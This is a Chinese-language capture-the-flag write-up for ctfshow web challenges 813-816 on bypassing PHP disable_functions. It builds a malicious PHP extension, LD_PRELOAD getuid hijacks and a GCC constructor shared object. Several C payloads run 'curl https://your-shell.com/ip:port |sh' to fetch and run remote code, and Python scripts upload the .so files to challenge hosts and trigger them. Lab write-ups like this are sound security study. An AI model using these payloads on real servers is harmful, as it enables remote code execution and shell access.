[ctfshow web入门]常用姿势813-816

1NDEX

  • 0x00 前言
  • 813
      • 恶意so为什么能绕过disable_function
      • 生成恶意so文件
        • 1.尝试手工编写(太折磨了)
          • 编译扩展
        • 2.ext_skel框架开发扩展
  • 814
      • 为什么劫持getuid
      • php中哪些函数会产生新进程呢?
  • 815 构造器劫持
      • 利用sendmail劫持getuid的劣势
  • 816
  • 0x01 rethink

0x00 前言

接上一篇继续记录ctfshow web入门常用姿势 嗝

813

先来看一下php.ini配置文件
我们是可以自定义扩展的

extension_dir="D:\phpStudy\PHPTutorial\php\php-7.2.1-nts\ext"
; If your scripts have to deal with files from Macintosh systems,
; or you are running on a Mac and need to deal with files from
; unix or win32 systems, setting this flag will cause PHP to
; automatically detect the EOL character in those files so that
; fgets() and file() will work regardless of the source of the file.
; http://php.net/auto-detect-line-endings
;auto_detect_line_endings = Off

;;;;;;;;;;;;;;;;;;;;;;
; Dynamic Extensions ;
;;;;;;;;;;;;;;;;;;;;;;

; If you wish to have an extension loaded automatically, use the following
; syntax:
;
;   extension=modulename
;
; For example:
;
;   extension=mysqli
; 
; When the extension library to load is not located in the default extension
; directory, You may specify an absolute path to the library file:
;
;   extension=/path/to/extension/mysqli.so
;
; Note : The syntax used in previous PHP versions ('extension=.so' and
; 'extension='php_<ext>.dll') is supported for legacy reasons and may be
; deprecated in a future PHP major version. So, when it is possible, please
; move to the new ('extension=<ext>) syntax.

phpinfo中默认扩展目录
在这里插入图片描述
(windows下为dll,linux下为so)以linux为例
进到默认扩展目录看一下
c语言编写的二进制so文件,声明函数并完成函数调用
在这里插入图片描述
php连接mysql
此处的mysqli类也是来自mysqli.so扩展
[ctfshow web入门]常用姿势813-816_第1张图片
当php调用函数时,如果在注册函数中找不到就会去扩展目录中找
此时我们上传恶意so文件可以劫持函数

恶意so为什么能绕过disable_function

php disable_function禁用的是php函数,而恶意so中调用的是C语言库中的system函数

生成恶意so文件

1.尝试手工编写(太折磨了)

参考文章

https://www.bookstack.cn/read/php7-internal/7-extension_intro.md#7.3.4%20config.m4

config.m4是扩展的编译配置文件,它被include到configure.in文件中,最终被autoconf编译为configure,编写扩展时我们只需要在config.m4中修改配置即可,一个简单的扩展配置只需要包含以下内容:

PHP_ARG_WITH(扩展名称, for mytest support,
Make sure that the comment is aligned:
[  --with-扩展名称             Include xxx support])
if test "$PHP_扩展名称" != "no"; then
    PHP_NEW_EXTENSION(扩展名称, 源码文件列表, $ext_shared,, -DZEND_ENABLE_STATIC_TSRMLS_CACHE=1)
fi

(1)PHP_ARG_WITH(arg_name,check message,help info): 定义一个–with-feature[=arg]这样的编译参数,调用的是autoconf的ACARG_WITH,这个宏有5个参数,常用的是前三个,分别表示:参数名、执行./configure是展示信息、执行—help时展示信息,第4个参数为默认值,如果不定义默认为”no”,通过这个宏定义的参数可以在config.m4中通过$PHP参数名(大写)访问,比如:

PHP_ARG_WITH(aaa, aaa-configure, help aa)
#后面通过$PHP_AAA就可以读取到--with-aaa=xxx设置的值了

(2)PHP_ARG_ENABLE(arg_name,check message,help info): 定义一个–enable-feature[=arg]或–disable-feature参数,–disable-feature等价于–enable-feature=no,这个宏与PHP_ARG_WITH类似,通常情况下如果配置的参数需要额外的arg值会使用PHP_ARG_WITH,而如果不需要arg值,只用于开关配置则会使用PHP_ARG_ENABLE。

实操一下
config.m4

PHP_ARG_ENABLE(ctfshowBackdoor, ctfshowbackdoor test, [ --enable-ctfshowBackdoor Enable ctfshowBackdoor ext]) //扩展名可以和函数名不同  --enable-feature
  
if test "$PHP_CTFSHOWBACKDOOR" != "no"; then  
    PHP_NEW_EXTENSION(ctfshowBackdoor, ctfshowBackdoor.c, $ext_shared)  
fi

以上定义扩展名:ctfshowBackdoor
扩展源码文件:ctfshowBackdoor.c
执行./configure是展示信息: ctfshowbackdoor test
开启方法:–enable-ctfshowBackdoor

ctfshowBackdoor.c

//包含php.h文件  
#include   
// 包含扩展文件  
#include "ctfshowBackdoor.h"  
  
  
// 将函数注册到php中,让php知道本模块中所包含的函数  
zend_function_entry ctfshow_functions[] = {   //此处是 函数名_functions[]  
    PHP_FE(ctfshow, NULL)//此处为函数名  
    {NULL, NULL, NULL}  
};  
  
// 关于整个模块的详细信息  
zend_module_entry ctfshowBackdoor_module_entry = {    //  
    STANDARD_MODULE_HEADER,//宏统一设置  
    PHP_CTFSHOWBACKDOOR_EXTNAME,//扩展名称  
    ctfshow_functions,//扩展的内部函数  
    NULL,  
    NULL,  
    NULL,  
    NULL,  
    NULL,  
    PHP_CTFSHOWBACKDOOR_VERSION,//扩展版本  
    STANDARD_MODULE_PROPERTIES//宏统一设置  
};  
  
// 提供一个接口给php来获取zend_module_entry  扩展名
ZEND_GET_MODULE(ctfshowBackdoor)  
  
//下面就是函数的编写了,可以使用c语言来执行RCE了  
PHP_FUNCTION(ctfshow) {  
    system(" evil command");  
}

ctfshowBackdoor.h

// 定义模块常量  
#define PHP_CTFSHOWBACKDOOR_EXTNAME "ctfshowBackdoor"  
#define PHP_CTFSHOWBACKDOOR_VERSION "0.0.1"  
  
// 声明模块的函数功能  
PHP_FUNCTION(ctfshow);//此处是你想要生成的扩展函数
编译扩展

安装php-dev
在当前目录执行phpize 生成configure

准备php扩展安装的编译环境的。用于手动编译安装php扩展。

[ctfshow web入门]常用姿势813-816_第2张图片

./configure --enable-ctfshowBackdoor
make&&make install
目录下就会出现ctfshowBackdoor.so
[ctfshow web入门]常用姿势813-816_第3张图片

2.ext_skel框架开发扩展

https://www.php.net/releases/ 下载对应版本的源码包
php ext_skel.php --ext ctfshow --author kidult --std
ctfshow.c修改两处
[ctfshow web入门]常用姿势813-816_第4张图片
[ctfshow web入门]常用姿势813-816_第5张图片

phpize
./configure
make && make install 

[ctfshow web入门]常用姿势813-816_第6张图片
后面试了一下发现版本不匹配
编译源码执行的phpize和当前环境中的phpize版本不匹配
[ctfshow web入门]常用姿势813-816_第7张图片

https://blog.csdn.net/weixin_33809981/article/details/94487739

直接修改NO为 20180731 即可

make clean
phpize 
./configure
make && make install

[ctfshow web入门]常用姿势813-816_第8张图片
写入扩展目录即可

url="http://b9d3ace4-82e9-4097-a982-5f7981d97dea.challenge.ctf.show/"
data={'file':'/usr/local/lib/php/extensions/no-debug-non-zts-20180731/mysqli.so','content':open('ctfshow.so','rb').read()}
requests.post(url+'?a=write',data=data)
requests.get(url+'?a=run')

[ctfshow web入门]常用姿势813-816_第9张图片

[ctfshow web入门]常用姿势813-816_第10张图片
利用条件较为苛刻:
1.扩展目录可写
2.能载入恶意so(重启fpm或使用php命令行)
3.有调用自定义函数

814

为什么劫持getuid

(并非所有)
php启动新进程时,调用getuid来确认 进程属主(执行权限)
参考

https://www.anquanke.com/post/id/254388
https://download.qingteng.cn/frontendcdn/2019/06/%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6-%E7%BB%95%E8%BF%87php%E7%9A%84disable_functions%EF%BC%88%E4%B8%8A%E7%AF%87%EF%BC%89.pdf

看id调用了哪些c语言库函数
编译同名函数进行劫持
注意进行unset(LD_PERLOAD)
避免进入死循环

#include 
#include 
#include 

void payload() {
    system("curl https://your-shell.com/ip:port |sh");
}

uid_t getuid() {
    if (getenv("LD_PRELOAD") == NULL) {
        return 0;
    }
    unsetenv("LD_PRELOAD");
    payload();
}
gcc -shared -fPIC getuid.c -o getuid.so

[ctfshow web入门]常用姿势813-816_第11张图片

此时所有系统命令都会加载本so,执行命令速度无比缓慢
最后磕磕绊绊还是拿到了shell(本地试的)

[ctfshow web入门]常用姿势813-816_第12张图片
write把恶意so写进去
content记得url编码一下 不然会有问题
[ctfshow web入门]常用姿势813-816_第13张图片

靶机挂监听

http://c85684ee-46e1-4e68-bf9a-5ef6bc9bd209.challenge.ctf.show/?a=run&env=LD_PRELOAD=/tmp/whoami.so

php中哪些函数会产生新进程呢?

  • 命令执行类 system shell_exec exec passthru
  • 进程类 proc_open popen pcntl类
  • 外部程序调用类 mail imap_mail
  • 扩展缺陷类 imagick
    [ctfshow web入门]常用姿势813-816_第14张图片

产生新进程时 会调用getuid -->确定进程属主

815 构造器劫持

814也可使用
产生新进程即使用
通用劫持方法 不用比对不同的函数
劫持构造器
构造器能自定函数

GCC 有个 C 语言扩展修饰符 attribute((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 attribute((constructor)) 修饰的函数
参考:https://shadowfl0w.github.io/LD-PRELOAD%E5%AD%A6%E4%B9%A0/

#define _GNU_SOURCE
#include 
#include 
#include 
extern char** environ;

__attribute__ ((__constructor__)) void hack(void)
{
unsetenv("LD_PRELOAD");
system("curl https://your-shell.com/ip:port |sh");
}
gcc -shared -fPIC hack.c -o hack.so
url="http://50446e52-ba66-4dba-85ea-f3175c548c57.challenge.ctf.show/"
data={'file':'/tmp/hack.so','content':open('classic.so','rb').read()}
requests.post(url+'?a=write',data=data)
requests.get(url+'?a=run&env=LD_PRELOAD=/tmp/hack.so')

利用sendmail劫持getuid的劣势

1.目标系统可能禁用或者未安装sendmail
2.域名解析超时

816



/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-03-26 14:19:44
# @Last Modified by:   h1xa
# @Last Modified time: 2022-04-27 08:34:06
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);

$env = $_GET['env'];
if(isset($env)){
    putenv($env.scandir("/tmp")[2]);
    system("echo ctfshow");
}else{
    highlight_file(__FILE__);
}

tmp干净目录
同815使用构造器劫持即可
[2]索引我们传上去的临时文件

import requests

url="http://88b6cd4c-ef43-45ba-9baa-a19f882c5295.challenge.ctf.show/?env=LD_PRELOAD=/tmp/"
files={
    'file':open('classic.so','rb').read()
    }
r=requests.post(url=url,files=files)

0x01 rethink

水平不济 踩了很多坑…

你可能感兴趣的:(ctf,php,开发语言,后端,web安全,网络安全)